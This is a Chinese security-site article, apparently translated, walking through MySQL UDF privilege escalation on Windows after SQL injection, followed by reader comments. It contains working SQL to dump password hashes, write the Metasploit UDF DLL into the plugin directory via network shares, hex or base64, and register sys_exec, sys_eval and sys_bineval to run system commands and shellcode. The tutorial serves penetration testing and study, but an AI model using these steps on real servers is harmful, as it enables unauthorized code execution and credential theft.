udf
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
利用MySQL UDF进行的一次渗透测试 secist2018-03-06共344042人围观 ,发现 14 个不明物体 数据安全系统安全
最近,我对某金融机构做渗透时发现他们拥有自己的内网,并且后端使用的是MySQL 5.7 64-bit。根据以往的经验,我的合作伙伴大多都使用的是MSSQL,因此在我看来这是一个非常罕见的场景。我在web应用中发现了SQL注入漏洞,使我可以从mysql.user dump用户名和密码,并且我还发现我的当前权限允许我将文件写入到磁盘。这也是促使我写这篇文章的原因,希望向大家分享关于在Windows下UDF库注入到MySQL并获取代码执行和shell的技巧。此外,通过谷歌搜索相关技术时,我也发现网上关于这方面的资源非常的少。因此,也希望通过我的分享让你对该技术点有更加深入的理解。
为了重现该场景,我将托管最新的MySQL 5.7.21作为我的测试环境,并将‘–secure-file-priv=’参数设置为了空启动mysqld server。这样我便能在内网中使用基于union注入来检索 mysql.user表中的用户名和密码。需要提醒大家的是,在MySQL 5.7及更高版本中,密码列不再是‘password’而是‘authentication_string’。
# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;
1-intranet.png
注意,如果你已拥有凭据,则可以使用metasploit的mysql_hashdump.rb辅助模块来dump MySQL哈希值。当我写这篇博文时,脚本需要更新以兼容MySQL 5.7,你可以在这里查看我的pull request。
用户’osanda’的主机列允许来自192.168.0.*的连接,这意味着我们可以使用该用户从该IP范围进行远程连接。我破解了密码哈希并获得了明文密码。
2loggin-in.png
登录到MySQL后,我查看了当前用户的权限。
select * from mysql.user where user = substring_index(user(), '@', 1) ;
3privs-of-osanda.png
可以看到该用户的权限非常的高,并且可以对文件进行读写操作,因此我们可以考虑编写UDF DLL库以获得代码执行的能力。
什么是UDF库?
UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库,你可以在Metasploit框架中找到它。你可以使用基于系统架构的UDF库,它们在Metasploit的安装目录“/usr/share/metasploit-framework/data/exploits/mysql/”。点击这里查看下载。
首先,我们分别通过’@@ version_compile_os’和’@@ version_compile_machine’,来获取当前数据库及操作系统的架构情况。结果如下,当前的系统环境为windows 64位,MySQL也是64位的。
MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64 | x86_64 |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Win64 |
+-------------------------+--------+
4compile-os.png
从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,我们可以使用’@@ plugin_dir’全局变量找到该目录。该变量可以在mysql.ini文件中查看和编辑。
MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)
MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value |
+---------------+--------------------------------------------------------------+
| plugin_dir | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+
5plugin.png
你可以通过mysqld更改plugin的目录位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另一种方法是编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的内容如下:
[mysqld]
plugin_dir = C:\\temp\\plugins\\
而在MySQL 5.0.67以下的版本中,文件必须位于系统动态链接器的搜索目录中。这同样适用于4.1.25之前的版本,具体可参考以下文档。
从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。
从MySQL 4.1.25开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照4.1.25之前即文件必须位于系统动态链接器的搜索目录中。
在旧版本中,你可以将DLL文件上传到以下位置并创建新的UDF函数。
@@datadir
@@basedir\bin
C:\windows
C:\windows\system
C:\windows\system32
上传二进制文件
有很多方法可以做到这一点。 load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
另一种方法是将整个DLL文件以十六进制编码后写入磁盘。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
或者你也可以直接从磁盘将文件从网络共享加载到上面创建的表中,或使用“快速导入数据(load data infile)”语句在本地加载。将文件像上面显示的那样转换为十六进制,并在写入磁盘时解码。
load data infile '\\\\192.168.0.19\\network\\udf.hex'
into table temp fields terminated by '@OsandaMalith'
lines terminated by '@OsandaMalith' (data);
select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
这里有个好消息,就是从MySQL 5.6.1和MariaDB 10.0.5开始,新增了to_base64和from_base64函数。如果你是一个善于绕过SQL注入WAF的人,相信你已经在使用这些函数了(提示:路由查询注入)。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'))
into dumpfile '/tmp/udf.b64';
你可以编辑base64文件并通过以下方式将其dump到插件目录。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
之后,你可以像这样将整个文件传递给mysql。
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64 你也可以从网络共享写入base64编码文件或使用“快速导入数据(load data infile)”语句在本地加载并通过以下语句dump。 select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll'; DLL探索 在网上我翻阅了不少的资料,但大多都只介绍了Metasploit内部这个DLL中的’sys_exec’函数。那么除了这个函数之外,其它的函数是否也能为我们所用?通过导出该目录,我发现作者也写了许多其它非常实用的函数。如下所示: 6export-dir.png sys_exec 该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。
7sys_exec2.png
安装
create function sys_exec returns int soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
8sys_exec-verify.png
删除
drop function sys_exec;
sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
9sys_eval.png
安装
create function sys_eval returns string soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_eval';
删除
drop function sys_eval;
示例
select sys_eval('dir');
10sys_eval_example.png
sys_get
该函数使用’getenv’函数返回系统变量的值。
11sys_get_dis.png
安装
create function sys_get returns string soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_get';
删除
Drop function sys_get;
示例
Select sys_get('longonserver');
12sys_get.png
执行Shellcode – sys_bineval
我在这个DLL里面找到了一个非常实用的函数’sys_bineval’。该函数将使用’VirtualAlloc’API分配RWX内存,并使用’strcpy’将’args-> args [0]‘复制到新分配的内存中。然后,这个缓冲区被传递给’CreateThread’API来产生一个新的线程。
13sys_bineval.png
如果我们查看’CreateThread’API,可以看到它使用’strcpy’复制缓冲区的’lpParameter’作为指针传递给线程的变量。’StartAddress’中的函数将直接移动’lpParamter’并调用ptr rax,这将改变RIP到我们的shellcode。
14sys_bineval2.png
安装
create function sys_bineval returns int soname 'udf.dll';
验证
select * from mysql.func where name = 'sys_bineval';
删除
drop function sys_bineval;
示例
然而,我并没有在64位的平台成功执行该函数,在32位的平台该函数正常执行。你可以直接打开原始二进制文件或将其编码为base64或十六进制并实用该函数执行。
select sys_bineval(from_base64(load_file('./calc.b64')));
15shellcode.png
我注意到这些外部UDF函数在拆解代码中没有做适当的异常处理。因此,在调用这些函数时稍有错误就会导致mysqld.exe服务器崩溃。最后,我希望我的分享能为大家在对MySQL渗透时起到帮助。
参考
http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx
*参考来源:osandamalith,FB小编 secist 编译,转载请注明来自FreeBuf.COM
secist
secist
315 篇文章
等级: 9级
||
上一篇:任意用户密码重置(四):重置凭证未校验下一篇:LSB-Steganography:教你如何使用最低有效位将文件隐写到图像中
这些评论亮了
对面河岸的牛 回复
现在有的人好像是脑子有点瓦特了,对别人东挑西捡,也不撒泡尿照照镜子,看看自己那样子。隔着屏幕都有一股酸味“哎呀,这么简单的教程也能投稿啦”,有本事你也写啊。
)22(亮了
对面河岸的牛 回复
@ 亲爱的 你少吹两牛B会死是吧
)14(亮了
亲爱的 回复
为什么udf提权基础教程也能拿来投稿了
)11(亮了
发表评论已有 14 条评论
Sphinx 专栏作者(9级) 这家伙太懒了,什么都没写 2018-03-06回复 1楼
计算器:不要再搞我了
亮了(0)
亲爱的 2018-03-06回复 2楼
为什么udf提权基础教程也能拿来投稿了
亮了(11)
对面河岸的牛 2018-03-06回复
@ 亲爱的 你少吹两牛B会死是吧
亮了(14)
hjchjcjh (3级) 愿漂泊的人都有酒喝 孤独的人都会唱歌 2018-03-06回复 3楼
挺老的技术了
亮了(2)
对面河岸的牛 2018-03-06回复 4楼
现在有的人好像是脑子有点瓦特了,对别人东挑西捡,也不撒泡尿照照镜子,看看自己那样子。隔着屏幕都有一股酸味“哎呀,这么简单的教程也能投稿啦”,有本事你也写啊。
亮了(22)
零安全Team 2018-03-06回复 5楼
挺一下即刻
希望你们越来越好,文章写的不错,很有深度。
即刻一直都是认真研究技术的
by 1ee
亮了(1)
zwh1458 (1级) 2018-03-06回复 6楼
linux下的mysql有好的提权方法吗 禁用了system模块 站库分离
亮了(0)
afeixbug 2018-03-06回复
@ zwh1458 我也想知道
亮了(0)
softbug 认证作者专栏作者(7级) i am here! 2018-03-06回复 7楼
某金融机构懂个屁的安全!
亮了(4)
3班1号韩梅梅 (1级) 2018-03-07回复 8楼
戾气太重~
亮了(0)
谢谢楼主 2018-03-07回复 9楼
好文章,不知道说用udf提权也能投稿的发表过什么高质量的文章呢?
亮了(1)
老黑 2018-03-07回复 10楼
不是外文翻译的吗
亮了(0)
阿尔法 (1级) 2018-03-07回复
@ 老黑 除了第一句话,其他全是翻译的。
https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf
亮了(4)
123 2018-03-09回复 11楼
很详细了,老外研究东西就是细,挺好
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
secist
secist
每个人的心中都有一个梦。。
315
文章数
60
评论数
最近文章
SniffAir:无线渗透测试框架
2018.11.17
SlackExtract:用于提取slack用户所有文件的PowerShell脚本
2018.11.14
我是如何找到Donald Daters应用数据库漏洞的
2018.11.13
浏览更多
相关阅读
Fireball真相:一个菜鸟级流氓软件竟让老外如临大敌域控权限持久化之DSRM评测Windows 10虚拟安全模式深入解析由黑客组织DarkHydrus使用的Powershell恶意软件FireEye系统上如何获得root权限
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论